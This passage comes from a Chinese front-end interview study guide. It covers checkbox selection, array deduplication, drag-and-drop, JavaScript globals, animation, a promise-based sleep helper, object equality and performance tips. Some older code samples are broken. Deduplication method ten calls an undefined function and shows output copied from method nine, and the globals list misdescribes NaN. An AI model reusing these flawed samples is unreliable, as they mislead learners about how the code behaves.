    一定在 useEffect 的清理函数里移除,不然组件卸载后监听还在,回调里拿的还是旧的 state,还会内存泄漏。用 AbortController 的话清理函数里一句 ac.abort() 就行。

# 70 获取页面所有的checkbox

⚡ 30 秒速记

  • 一行搞定:document.querySelectorAll('input[type="checkbox"]')
  • 只要勾选的:input[type="checkbox"]:checked
  • 返回静态 NodeList,能 forEach,但要 map / filter 先 [...list] 或 Array.from(list)
  • getElementsByTagName / getElementsByClassName 返回动态 HTMLCollection,DOM 变了它跟着变
  • 限定范围就在容器上查:form.querySelectorAll(...),比全局查更准

直接用 querySelectorAll('input[type="checkbox"]'),要选中的就加 :checked。 早年的写法是拿所有 input 再循环判断 type,现在属性选择器一步就能筛出来。拿到的是静态 NodeList,想用数组方法就转成数组,比如统计勾选了哪些值:[...form.querySelectorAll('input[type="checkbox"]:checked')].map(el => el.value)。实际项目里我一般会限定在某个表单里查,免得把页面别处的复选框也拿进来。

var resultArr= [];
var input = document.querySelectorAll('input');
for(var i = 0; i < input.length; i++ ) {
  if(input[i].type == 'checkbox') {
    resultArr.push( input[i] );
  }
}
//resultArr即中获取到了页面中的所有checkbox

💬 面试官追问

  • 用 getElementsByTagName('input') 循环删除元素,删到一半就停了,为什么?

    它返回的是动态集合,每删一个,集合长度和下标都跟着变,循环就跳过了元素。换成 querySelectorAll 的静态结果,或者倒序遍历。

  • 做一个「全选」复选框,怎么写最省事?

    all.addEventListener('change', () => boxes.forEach(b => (b.checked = all.checked)))。反过来子项变化时再算一下:全选中就勾上,部分选中就设 all.indeterminate = true 显示半选态。

  • 列表是动态加载的,后来插进来的复选框监听不到 change,怎么办?

    把监听挂在列表容器上做事件委托,回调里判断 e.target.matches('input[type="checkbox"]'),新插入的元素自然也能处理。

  • NodeList 能直接用 forEach,为什么还说要转数组?

    现代浏览器的 NodeList 有 forEach,但没有 map、filter、reduce。HTMLCollection 连 forEach 都没有,统一转数组最不容易出错。

  • 页面有几千个复选框,查询会不会很慢?

    一次 querySelectorAll 几千个节点通常就几毫秒,问题不在查询,在于逐个绑监听和逐个改 DOM。用委托减少监听数量,批量改状态时别在循环里读布局。

# 71 数组去重方法总结

⚡ 30 秒速记

  • 首选 [...new Set(arr)]:O(n)、保留首次出现顺序,NaN 也能去重
  • filter + indexOf 写法短但是 O(n²),而且 indexOf 找不到 NaN,会把 NaN 全删掉
  • includes 用的是 SameValueZero,能认出 NaN;indexOf 用 ===,认不出
  • 对象数组按字段去重:[...new Map(list.map(o => [o.id, o])).values()](重复时保留最后一个)
  • 普通对象当哈希表会把键转成字符串,1 和 '1' 会撞,用 Map
  • 对象元素比的是引用,{} 和 {} 永远算两个,要按内容去重得先定义「什么算相同」

基本类型数组我直接用 [...new Set(arr)],一行、O(n)、顺序不变。 面试官追问的通常是边界:Set 认为 NaN 等于 NaN,+0 和 -0 也算同一个;indexOf 用 === 比较,NaN 永远找不到。另一个高频场景是接口返回的对象数组按 id 去重,Set 帮不上忙,因为对象比的是引用,这时候用 Map 以 id 做键。双层循环加 splice 那种写法又慢又会改原数组,了解就行。

const arr = [1, '1', NaN, NaN, 0, -0]
console.log([...new Set(arr)])                          // [1, '1', NaN, 0]
console.log(arr.filter((v, i) => arr.indexOf(v) === i)) // [1, '1', 0]  NaN 被全删了

方法一、利用ES6 Set去重(ES6中最常用)

function unique (arr) {
  return Array.from(new Set(arr))
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
 //[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {}, {}]

方法二、利用for嵌套for,然后splice去重(ES5中最常用)

function unique(arr){
      for(var i=0; i<arr.length; i++){
          for(var j=i+1; j<arr.length; j++){
              if(arr[i]==arr[j]){         //第一个等同于第二个,splice方法删除第二个
                  arr.splice(j,1);
                  j--;
              }
          }
      }
	return arr;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
    //[1, "true", 15, false, undefined, NaN, NaN, "NaN", "a", {…}, {…}]     //NaN和{}没有去重,两个null直接消失了
  • 双层循环,外层循环元素,内层循环时比较值。值相同时,则删去这个值。
  • 想快速学习更多常用的ES6语法

方法三、利用indexOf去重

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var array = [];
    for (var i = 0; i < arr.length; i++) {
        if (array .indexOf(arr[i]) === -1) {
            array .push(arr[i])
        }
    }
    return array;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
   // [1, "true", true, 15, false, undefined, null, NaN, NaN, "NaN", 0, "a", {…}, {…}]  //NaN、{}没有去重

新建一个空的结果数组,for 循环原数组,判断结果数组是否存在当前元素,如果有相同的值则跳过,不相同则push进数组

方法四、利用sort()

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return;
    }
    arr = arr.sort()
    var arrry= [arr[0]];
    for (var i = 1; i < arr.length; i++) {
        if (arr[i] !== arr[i-1]) {
            arrry.push(arr[i]);
        }
    }
    return arrry;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
// [0, 1, 15, "NaN", NaN, NaN, {…}, {…}, "a", false, null, true, "true", undefined]      //NaN、{}没有去重

利用sort()排序方法,然后根据排序后的结果进行遍历及相邻元素比对

方法五、利用对象的属性不能相同的特点进行去重

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var arrry= [];
     var  obj = {};
    for (var i = 0; i < arr.length; i++) {
        if (!obj[arr[i]]) {
            arrry.push(arr[i])
            obj[arr[i]] = 1
        } else {
            obj[arr[i]]++
        }
    }
    return arrry;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "true", 15, false, undefined, null, NaN, 0, "a", {…}]    //两个true直接去掉了,NaN和{}去重

方法六、利用includes

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var array =[];
    for(var i = 0; i < arr.length; i++) {
            if( !array.includes( arr[i]) ) {//includes 检测数组是否有某个值
                    array.push(arr[i]);
              }
    }
    return array
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
    //[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}, {…}]     //{}没有去重

方法七、利用hasOwnProperty

function unique(arr) {
    var obj = {};
    return arr.filter(function(item, index, arr){
        return obj.hasOwnProperty(typeof item + item) ? false : (obj[typeof item + item] = true)
    })
}
    var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
        console.log(unique(arr))
//[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}]   //所有的都去重了

利用hasOwnProperty 判断是否存在对象属性

方法八、利用filter

function unique(arr) {
  return arr.filter(function(item, index, arr) {
    //当前元素,在原始数组中的第一个索引==当前索引值,否则返回当前元素
    return arr.indexOf(item, 0) === index;
  });
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "true", true, 15, false, undefined, null, "NaN", 0, "a", {…}, {…}]

方法九、利用递归去重

function unique(arr) {
    var array= arr;
    var len = array.length;

	array.sort(function(a,b){   //排序后更加方便去重
		return a - b;
	})

	function loop(index){
        if(index >= 1){
            if(array[index] === array[index-1]){
            array.splice(index,1);
            }
            loop(index - 1);    //递归loop,然后数组去重
        }
	}
	loop(len-1);
	return array;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "a", "true", true, 15, false, 1, {…}, null, NaN, NaN, "NaN", 0, "a", {…}, undefined]

方法十、利用Map数据结构去重

function arrayNonRepeatfy(arr) {
	let map = new Map();
		let array = new Array();  // 数组用于返回结果
		for (let i = 0; i < arr.length; i++) {
			if(map .has(arr[i])) {  // 如果有该key值
			map .set(arr[i], true);
		} else {
			map .set(arr[i], false);   // 如果没有该key值
			array .push(arr[i]);
		}
	}
	return array ;
}
 var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
    console.log(unique(arr))
//[1, "a", "true", true, 15, false, 1, {…}, null, NaN, NaN, "NaN", 0, "a", {…}, undefined]

创建一个空Map数据结构,遍历需要去重的数组,把数组的每一个元素作为key存到Map中。由于Map中不会出现相同的key值,所以最终得到的就是去重后的结果

方法十一、利用reduce+includes

function unique(arr){
    return arr.reduce((prev,cur) => prev.includes(cur) ? prev : [...prev,cur],[]);
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr));
// [1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}, {…}]

方法十二、[...new Set(arr)]

[...new Set(arr)]
//代码就是这么少----(其实,严格来说并不算是一种,相对于第一种方法来说只是简化了代码)

💬 面试官追问

  • 接口返回的用户列表有重复 id,要保留第一次出现的那条,怎么写?

    Map 默认是后面覆盖前面,要保留第一条就先判断:list.forEach(u => { if (!map.has(u.id)) map.set(u.id, u) }),最后取 [...map.values()]。

  • [1, '1'] 用对象做哈希去重,结果只剩一个,为什么?

    对象的键会被转成字符串,1 和 '1' 都变成 '1'。换成 Map 或 Set,它们按值和类型区分。

  • 数组有 10 万条,用 filter + indexOf 会怎样?

    O(n²),最坏要比较几十亿次,页面能卡好几秒。换成 Set 是一次遍历,基本是毫秒级。

  • 两个对象 { a: 1 } 和 { a: 1 },Set 能去掉吗?

    不能,它们是两个不同的引用。要按内容去重,得自己定规则,比如按某个字段,或者把对象按固定键序序列化后做键。

  • 排序后比较相邻元素去重,有什么问题?

    会打乱原来的顺序,而且默认的 sort() 是按字符串排的,[10, 9, 1] 排完是 [1, 10, 9],混合类型时结果更难预料。除非本来就要排序,否则不推荐。

# 72 (设计题)想实现一个对页面某个节点的拖曳?如何做?(使用原生JS)

⚡ 30 秒速记

  • 三步:按下记录鼠标起点和元素起点 → 移动时算位移并更新 → 松开时解绑
  • move / up 绑在 document 上,不然鼠标甩快了离开元素,拖拽就断了
  • 更新位置用 transform: translate(),只走合成;改 left / top 每帧都要重新布局
  • 现在推荐 Pointer Events + setPointerCapture,一套代码同时搞定鼠标、触摸、手写笔
  • 移动端还要 touch-action: none,不然拖着拖着页面就滚动了
  • 边界:用容器尺寸夹住坐标;mousemove 频率高可以用 requestAnimationFrame 合并

拖拽就是按下记起点、移动算差值、松开收尾,难点在细节。 第一个坑是 move 事件绑在元素上,鼠标一快就脱离元素,所以要绑到 document,或者用 setPointerCapture 把后续事件都锁到这个元素上。第二个是性能,改 left / top 会触发重排,用 transform 只需要合成。第三个是移动端,Pointer Events 可以把鼠标和触摸合成一套逻辑,再配 touch-action: none 阻止页面滚动。

el.addEventListener('pointerdown', e => {
  el.setPointerCapture(e.pointerId) // 之后的 move / up 都会派发到 el
  const sx = e.clientX - x, sy = e.clientY - y
  const move = ev => { x = ev.clientX - sx; y = ev.clientY - sy; el.style.transform = `translate(${x}px, ${y}px)` }
  el.addEventListener('pointermove', move)
  el.addEventListener('pointerup', () => el.removeEventListener('pointermove', move), { once: true })
})
  • 给需要拖拽的节点绑定mousedown, mousemove, mouseup事件
  • mousedown事件触发后,开始拖拽
  • mousemove时,需要通过event.clientX和clientY获取拖拽位置,并实时更新位置
  • mouseup时,拖拽结束
  • 需要注意浏览器边界的情况

下面是一个使用原生 JavaScript 实现页面节点拖拽的示例代码:

// 获取需要拖拽的节点
var draggableNode = document.getElementById("draggable");

// 初始化拖拽状态
var isDragging = false;
var offset = { x: 0, y: 0 };

// 绑定 mousedown 事件
draggableNode.addEventListener("mousedown", function(event) {
  // 设置拖拽状态为 true
  isDragging = true;

  // 计算鼠标相对于节点的偏移量
  offset.x = event.clientX - draggableNode.offsetLeft;
  offset.y = event.clientY - draggableNode.offsetTop;
});

// 绑定 mousemove 事件
document.addEventListener("mousemove", function(event) {
  // 如果处于拖拽状态
  if (isDragging) {
    // 计算节点的新位置
    var left = event.clientX - offset.x;
    var top = event.clientY - offset.y;

    // 更新节点的位置
    draggableNode.style.left = left + "px";
    draggableNode.style.top = top + "px";
  }
});

// 绑定 mouseup 事件
document.addEventListener("mouseup", function() {
  // 设置拖拽状态为 false
  isDragging = false;
});

在上面的代码中,首先获取需要拖拽的节点 draggableNode,然后初始化拖拽状态和偏移量。在 mousedown 事件中,设置拖拽状态为 true,并计算鼠标相对于节点的偏移量。在 mousemove 事件中,如果处于拖拽状态,根据鼠标位置和偏移量计算节点的新位置,并更新节点的 left 和 top 样式。最后,在 mouseup 事件中,设置拖拽状态为 false,表示拖拽结束。

需要注意的是,上述代码只实现了简单的拖拽功能,如果需要考虑边界情况、拖拽限制等,还需要进行适当的处理。

💬 面试官追问

  • 鼠标拖快了元素就跟不上、甚至卡住不放,什么原因?

    mousemove 绑在元素上,鼠标一出元素就收不到事件;如果 mouseup 也绑在元素上,在外面松手就收不到,状态一直是拖拽中。挂到 document 上,或者用 setPointerCapture。

  • 拖的时候页面上的文字被选中一大片,怎么处理?

    在按下时调 e.preventDefault(),或者拖拽期间给 body 加 user-select: none,结束后去掉。

  • 手机上拖动时整个页面跟着滚,怎么办?

    给拖拽元素加 touch-action: none,告诉浏览器这个区域的手势由 JS 处理。比在 touchmove 里 preventDefault 靠谱,后者在 passive 监听里会失效。

  • 要做列表拖拽排序,用原生 HTML5 Drag and Drop 行不行?

    桌面端可以,draggable 加 dragstart / dragover / drop 就能做,但拖拽时的影子样式不好定制,移动端支持也很差。正式项目我一般直接用 SortableJS 或 dnd-kit 这类库。

  • 拖拽中元素抖动、和鼠标位置有偏差,常见原因是什么?

    多半是起点算错了,比如用了 offsetLeft,但元素父级有 transform 或滚动,参照系不一致。统一用 clientX 记差值,位置全部用 transform 维护在变量里,不要每次去读 DOM。

# 73 Javascript全局函数和全局变量

⚡ 30 秒速记

  • 全局属性:Infinity、NaN、undefined、globalThis(任何环境下都能拿到全局对象)
  • 全局函数:parseInt、parseFloat、isNaN、isFinite、encodeURI(Component)、decodeURI(Component)、eval
  • window、document、setTimeout、alert 是浏览器宿主提供的,不是语言本身的;Node 里没有 window
  • 高频考点:encodeURI 编整条地址,保留 / ? & = #;encodeURIComponent 编参数值,这些全编
  • isNaN('abc') 是 true(先转数字),判断用 Number.isNaN;parseInt 永远传第二个参数
  • escape / unescape 已废弃;业务代码别往全局挂变量,用模块作用域

语言层面的全局成员不多:Infinity、NaN、undefined、globalThis 几个属性,加 parseInt、isNaN、encodeURIComponent 这些函数。 很多人会把 window、document、setTimeout 也算进来,其实它们是浏览器给的,换到 Node 就没有 window 了,所以跨端代码用 globalThis。面试最爱追问的是 encodeURI 和 encodeURIComponent:拼查询参数时一定用后者,不然参数值里的 & 会把 URL 结构拆坏。

const q = 'a&b=c'
encodeURI(`/s?q=${q}`)                // '/s?q=a&b=c'      参数被拆成了两个
`/s?q=${encodeURIComponent(q)}`       // '/s?q=a%26b%3Dc'  正确

全局变量

  • Infinity 代表正的无穷大的数值。
  • NaN 指示某个值是不是数字值。
  • undefined 指示未定义的值。
  • Date 表示日期和时间的对象。
  • Math 包含了数学相关的函数和常量。
  • JSON 用于解析和序列化 JSON 数据的对象。
  • console 用于在控制台输出信息的对象。
  • document 表示当前 HTML 文档的对象。
  • window 表示浏览器窗口的对象。

全局函数

  • decodeURI() 解码某个编码的 URI。
  • decodeURIComponent() 解码一个编码的 URI 组件。
  • encodeURI() 把字符串编码为 URI。
  • encodeURIComponent() 把字符串编码为 URI 组件。
  • escape() 对字符串进行编码。
  • eval() 计算 JavaScript 字符串,并把它作为脚本代码来执行。
  • isFinite() 检查某个值是否为有穷大的数。
  • isNaN() 检查某个值是否是数字。
  • Number() 把对象的值转换为数字。
  • parseInt() 解析一个字符串并返回一个整数。
  • String() 把对象的值转换为字符串。
  • unescape() 对由escape() 编码的字符串进行解码
  • setTimeout() 在指定的延迟时间后执行一次函数。
  • setInterval() 每隔指定的时间间隔重复执行函数。
  • clearTimeout() 取消使用 setTimeout() 创建的延迟执行。
  • clearInterval() 取消使用 setInterval() 创建的重复执行。
  • alert() 在浏览器中显示一个警告框。
  • confirm() 在浏览器中显示一个确认框。
  • prompt() 在浏览器中显示一个提示框,接收用户输入

💬 面试官追问

  • ['1', '2', '3'].map(parseInt) 结果是什么?

    [1, NaN, NaN]。map 会传 (值, 下标),变成 parseInt('2', 1)、parseInt('3', 2),基数 1 不合法,二进制里没有 3。写成 .map(Number) 或 .map(s => parseInt(s, 10))。

  • isNaN('hello') 和 Number.isNaN('hello') 有什么不同?

    前者先把参数转成数字,'hello' 转完是 NaN,返回 true;后者不转换,只有值本身是 NaN 才返回 true,所以是 false。

  • 跳转地址带了用户输入的中文和 &,后端拿到的参数被截断了,怎么修?

    参数值用 encodeURIComponent 编,或者直接用 URLSearchParams 拼:new URLSearchParams({ q }) 会自动编码,不用自己操心。

  • 在模块文件里写 var a = 1,能通过 window.a 拿到吗?

    拿不到。ES Module 有自己的作用域,只有普通 <script> 顶层的 var 和函数声明才会挂到 window 上,let / const 在哪都不会挂。

  • 为什么都说别用 eval?

    它能执行任意字符串,用户输入一拼就是 XSS;还会让引擎没法优化周围代码,被 CSP 拦掉也很常见。要解析数据用 JSON.parse。

# 74 使用js实现一个持续的动画效果

⚡ 30 秒速记

  • 首选 requestAnimationFrame 递归,浏览器在每次绘制前调用,跟屏幕刷新同步
  • 位移要按时间差算,不要每帧固定加 1px,否则 120Hz 屏幕上速度是 60Hz 的两倍
  • setInterval 的问题:和刷新不同步会掉帧,切到后台还被节流到最低每秒一次,时间也会漂
  • rAF 在页面隐藏时自动暂停,省电;停止用 cancelAnimationFrame(id),组件卸载要清掉
  • 纯样式循环(旋转、呼吸灯)直接用 CSS animation,只动 transform / opacity

持续动画用 requestAnimationFrame 递归,每一帧根据时间差算出当前位置。 rAF 的好处是浏览器统一调度,刚好在绘制前执行,不会一帧里算两次或者漏一帧,页面切到后台还会自动停。很多人写成每帧 left++,结果在高刷屏上动画快一倍,正确做法是拿回调参数里的时间戳算进度。如果只是循环旋转、闪烁这种纯视觉效果,CSS 动画更省事,浏览器还能放到合成线程上跑。

let id, start
function tick(now) {
  start ??= now
  const x = ((now - start) / 1000) * 100 % 300 // 每秒 100px,与刷新率无关
  box.style.transform = `translateX(${x}px)`
  id = requestAnimationFrame(tick)
}
id = requestAnimationFrame(tick)
// 停止:cancelAnimationFrame(id)

定时器思路

var e = document.getElementById('e')
var flag = true;
var left = 0;
setInterval(() => {
    left == 0 ? flag = true : left == 100 ? flag = false : ''
    flag ? e.style.left = ` ${left++}px` : e.style.left = ` ${left--}px`
}, 1000 / 60)

requestAnimationFrame

//兼容性处理
window.requestAnimFrame = (function(){
    return window.requestAnimationFrame       ||
           window.webkitRequestAnimationFrame ||
           window.mozRequestAnimationFrame    ||
           function(callback){
                window.setTimeout(callback, 1000 / 60);
           };
})();

var e = document.getElementById("e");
var flag = true;
var left = 0;

function render() {
    left == 0 ? flag = true : left == 100 ? flag = false : '';
    flag ? e.style.left = ` ${left++}px` :
        e.style.left = ` ${left--}px`;
}

(function animloop() {
    render();
    requestAnimFrame(animloop);
})();

使用css实现一个持续的动画效果

animation:mymove 5s infinite;

@keyframes mymove {
    from {top:0px;}
    to {top:200px;}
}
  • animation-name 规定需要绑定到选择器的 keyframe名称。
  • animation-duration 规定完成动画所花费的时间,以秒或毫秒计。
  • animation-timing-function 规定动画的速度曲线。
  • animation-delay 规定在动画开始之前的延迟。
  • animation-iteration-count 规定动画应该播放的次数。
  • animation-direction 规定是否应该轮流反向播放动画

💬 面试官追问

  • 同样的动画在 120Hz 的 iPad 上快了一倍,为什么?

    代码每帧固定移动一个距离,120Hz 一秒跑 120 帧,速度自然翻倍。改成按时间差算位置:x = speed * (now - start)。

  • 切到别的标签页再切回来,动画一下子跳了一大截,正常吗?

    后台时 rAF 暂停了,回来时时间差很大,按时间算就会跳。看需求:要连续的话,单帧时间差超过比如 100ms 就按 16ms 算;或者监听 visibilitychange 暂停计时。

  • rAF 回调里做了很重的计算,会怎样?

    一帧只有约 16.7ms(60Hz),回调超时就掉帧,动画一卡一卡的。重计算挪到 Web Worker,或者提前算好,rAF 里只负责改样式。

  • 一个无限旋转的 loading 图标,用 JS 还是 CSS 写?

    CSS,@keyframes 配 transform: rotate(),加 animation-iteration-count: infinite。只动 transform 时浏览器可以放到合成线程,主线程卡住它也照样转。

  • React 组件里写 rAF 循环,组件卸载后控制台报错,怎么修?

    useEffect 里启动,返回的清理函数里 cancelAnimationFrame(id)。注意 id 每帧都在变,要存在 ref 或闭包变量里拿最新的。

# 75 封装一个函数,参数是定时器的时间,.then执行回调函数

⚡ 30 秒速记

  • 核心一行:const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
  • 用法:sleep(1000).then(fn) 或者 await sleep(1000)
  • 本质是把回调式 API 包成 Promise(promisify),Node 里 util.promisify 干的就是这个
  • 不会阻塞主线程,只是让后面的代码晚点跑;ms 也只是「最少等这么久」
  • 进阶:支持传值 resolve(value)、支持 AbortSignal 取消;Node 16+ 自带 timers/promises 的 setTimeout

返回一个 Promise,在 setTimeout 到点后 resolve,外面就能 .then 或 await 了。 这题考的其实是「怎么把回调风格的 API 包成 Promise」,读文件、加载图片都是同一个套路。要注意它不是真的让线程睡觉,只是把后续逻辑排到定时器之后,期间页面照样能响应。如果业务要能中途取消,比如轮询时组件卸载了,就得把 timer 存下来,配合 AbortSignal 清掉并 reject。

function sleep(ms, { signal } = {}) {
  return new Promise((resolve, reject) => {
    const t = setTimeout(resolve, ms)
    signal?.addEventListener('abort', () => { clearTimeout(t); reject(signal.reason) }, { once: true })
  })
}
await sleep(1000)
console.log('1 秒后')
function sleep (time) {
   return new Promise((resolve) => setTimeout(resolve, time));
}
// 测试
sleep(3000).then(() => {
  console.log('定时器结束,执行回调函数');
});

💬 面试官追问

  • sleep(0).then(fn) 和 Promise.resolve().then(fn),哪个先执行?

    Promise.resolve().then 先。它是微任务,当前同步代码跑完就执行;sleep(0) 要等定时器这个宏任务,至少排到下一轮事件循环。

  • for 循环里 await sleep(1000) 和 forEach 里 await sleep(1000),效果一样吗?

    不一样。for 循环会一个一个等,总共 n 秒;forEach 不管回调返回的 Promise,所有回调几乎同时开始,大约 1 秒后一起结束。

  • sleep(1000) 一定正好 1 秒后执行吗?

    不一定,是至少 1 秒。主线程忙的话要往后推,标签页在后台时定时器还会被浏览器节流。

  • 怎么用它做一个带超时的请求?

    Promise.race([fetch(url), sleep(5000).then(() => { throw new Error('timeout') })])。不过 race 只是不等了,请求还在跑,真要取消请求用 AbortSignal.timeout(5000) 传给 fetch。

  • Node 里有没有现成的?

    Node 16 起可以 import { setTimeout as sleep } from 'node:timers/promises',直接 await sleep(1000),还支持传 signal。

# 76 怎么判断两个对象相等?

⚡ 30 秒速记

  • 先问清楚比什么:同一个引用用 ===,内容一样用浅比较或深比较
  • 浅比较:键数量相同 + 每个键的值 Object.is 相等,React.memo 和 useEffect 依赖用的就是这个思路
  • 深比较要处理:数组和对象、Date、RegExp、Map / Set、NaN、循环引用
  • 别用 JSON.stringify 比:键顺序不同就不等,undefined 和函数被丢,循环引用直接报错
  • 项目里直接上 lodash 的 isEqual;Object.is 只修正了 NaN 和 ±0,对象照样比引用

先确认要比的是引用还是内容:=== 只看是不是同一个对象,内容相同的两个对象永远不相等。 比内容分浅比较和深比较,浅比较只看第一层,React 判断 props 有没有变就是这么干的,够快;深比较要递归,边界很多,Date 要比时间戳,数组和对象要区分,还要防循环引用。JSON.stringify 看着省事,其实 { a: 1, b: 2 } 和 { b: 2, a: 1 } 序列化结果就不一样。生产代码我会直接用 lodash.isEqual,手写主要是面试考递归思路。

JSON.stringify({ a: 1, b: 2 }) === JSON.stringify({ b: 2, a: 1 }) // false,内容其实一样
JSON.stringify({ a: undefined }) === JSON.stringify({})          // true,其实不一样
obj={
    a:1,
    b:2
}
obj2={
    a:1,
    b:2
}
obj3={
    a:1,
    b:'2'
}
  1. 使用JSON.stringify():将对象转换为字符串,然后进行比较。这种方式适用于对象中的属性值都是基本数据类型,并且属性的顺序对比较结果无影响。
JSON.stringify(obj) === JSON.stringify(obj2); // true
JSON.stringify(obj) === JSON.stringify(obj3); // false
  1. 使用循环遍历:逐个比较对象的属性值。这种方式适用于对象中的属性值类型复杂,包括嵌套对象或数组。
function deepEqual(obj1, obj2) {
  // 比较基本数据类型的值
  if (obj1 === obj2) {
    return true;
  }

  // 比较对象的属性个数
  if (Object.keys(obj1).length !== Object.keys(obj2).length) {
    return false;
  }

  // 逐个比较对象的属性值
  for (let key in obj1) {
    if (!obj2.hasOwnProperty(key) || !deepEqual(obj1[key], obj2[key])) {
      return false;
    }
  }

  return true;
}

deepEqual(obj, obj2); // true
deepEqual(obj, obj3); // false
  1. 使用lodash库的isEqual()方法:lodash是一个流行的 JavaScript 工具库,其中的isEqual()方法可以比较两个对象是否相等,包括深度比较。

首先,需要通过npm install lodash命令安装lodash库,然后在代码中引入isEqual()方法:

const _ = require('lodash');

_.isEqual(obj, obj2); // true
_.isEqual(obj, obj3); // false

💬 面试官追问

  • 你手写的 deepEqual 传 [1, 2] 和 { 0: 1, 1: 2 },返回 true,问题在哪?

    只比了键和值,没比类型。开头要加一句 Array.isArray(a) !== Array.isArray(b) 就返回 false,严谨点再比 Object.prototype.toString.call() 的结果。

  • 两个对象互相引用,深比较直接爆栈了,怎么处理?

    用一个 WeakMap 记录已经比过的 (a, b) 组合,再遇到就直接当相等返回。lodash.isEqual 内部也是用栈记录做这件事。

  • React 里每次渲染都传一个新的 style={<span class="vp-brace-split" aria-hidden="true"></span>{ color: 'red' }<span class="vp-brace-split" aria-hidden="true"></span>},memo 包了也没用,为什么?

    memo 是浅比较,每次渲染都是新对象,引用不同就判定变了。把对象提到组件外面或者用 useMemo 缓存。

  • NaN === NaN 是 false,深比较里怎么处理?

    基本类型那一步用 Object.is(a, b) 代替 ===,它认为 NaN 等于 NaN。代价是 +0 和 -0 会判成不等,一般业务能接受。

  • 表单提交前想判断用户有没有改过数据,你怎么做?

    初始化时存一份快照,提交前用 isEqual(snapshot, current) 比一下。如果表单字段多又频繁比较,可以改成在 onChange 里记一个 dirty 标记,更省。

# 77 项目做过哪些性能优化?

⚡ 30 秒速记

  • 开放题,按「哪个指标差 → 定位原因 → 做了什么 → 指标变化」讲,别报菜名
  • 先量:Lighthouse 看实验室数据,RUM 看真实用户;Core Web Vitals 看 LCP < 2.5s、INP < 200ms、CLS < 0.1
  • 加载:路由懒加载、Tree Shaking、图片转 WebP / AVIF 加懒加载、CDN、带 hash 的长缓存、preload 关键资源
  • 渲染:SSR / SSG 改善首屏、长列表虚拟滚动、避免强制同步布局、动画只动 transform
  • 运行时:减少无效渲染(memo / computed)、重计算放 Web Worker、防抖节流
  • 老手段别当亮点:雪碧图、多域名分发在 HTTP/2 下基本没收益,甚至反作用

性能优化我一般先讲怎么发现问题,再讲手段,最后给数字。 比如假设首页 LCP 很差,先用 Performance 面板和 Lighthouse 看是图片太大、JS 太大还是接口慢,对症下药:首屏大图加 fetchpriority="high" 并压成 AVIF,非首屏路由拆包懒加载,第三方脚本推迟加载。然后用前后对比的指标收尾。面试官最怕听到一串名词罗列,雪碧图、合并文件这类 HTTP/1.1 时代的手段在 HTTP/2 多路复用下已经不太重要了,说出来反而显得没跟上。

这是一些常见的性能优化措施,可以在项目中采取来提升网页的加载速度和性能。以下是一些常见的性能优化措施:

  1. 减少 HTTP 请求数:合并和压缩 CSS、JavaScript 文件,使用雪碧图、字体图标等减少图片请求,减少不必要的资源请求。
  2. 减少 DNS 查询:减少使用不同的域名,以减少 DNS 查询次数。
  3. 使用 CDN:将静态资源部署到 CDN 上,提供更快的访问速度。 <script src="https://cdn.example.com/script.js"></script>
  4. 避免重定向:确保网页没有多余的重定向,减少额外的网络请求。
  5. 图片懒加载:延迟加载图片,只有当图片进入可视区域时再进行加载。
<img src="placeholder.jpg" data-src="image.jpg" class="lazyload">
<script src="lazyload.js"></script>
  1. 减少 DOM 元素数量:优化页面结构,减少 DOM 元素的数量,提升渲染性能。
  2. 减少 DOM 操作:避免频繁的 DOM 操作,合并操作或使用 DocumentFragment 进行批量操作。
var container = document.getElementById("container");
var fragment = document.createDocumentFragment();
for (var i = 0; i < 1000; i++) {
  var div = document.createElement("div");
  div.innerText = "Element " + i;
  fragment.appendChild(div);
}
container.appendChild(fragment);
  1. 使用外部 JavaScript 和 CSS:将 JavaScript 和 CSS 代码外部化,利用浏览器缓存机制提高页面加载速度。
<link rel="stylesheet" href="styles.css">
<script src="script.js"></script>
  1. 压缩文件:压缩 JavaScript、CSS、字体、图片等静态资源文件,减小文件大小。

  2. 优化 CSS Sprite:将多个小图标合并为一个大图,并通过 CSS 进行定位,减少图片请求。

.icon {
  background-image: url("sprite.png");
  background-position: -10px -20px;
  width: 20px;
  height: 20px;
}
  1. 使用 iconfont:将图标字体作为替代图像,减少图片请求并提高渲染性能。
<i class="iconfont">&#xe001;</i>
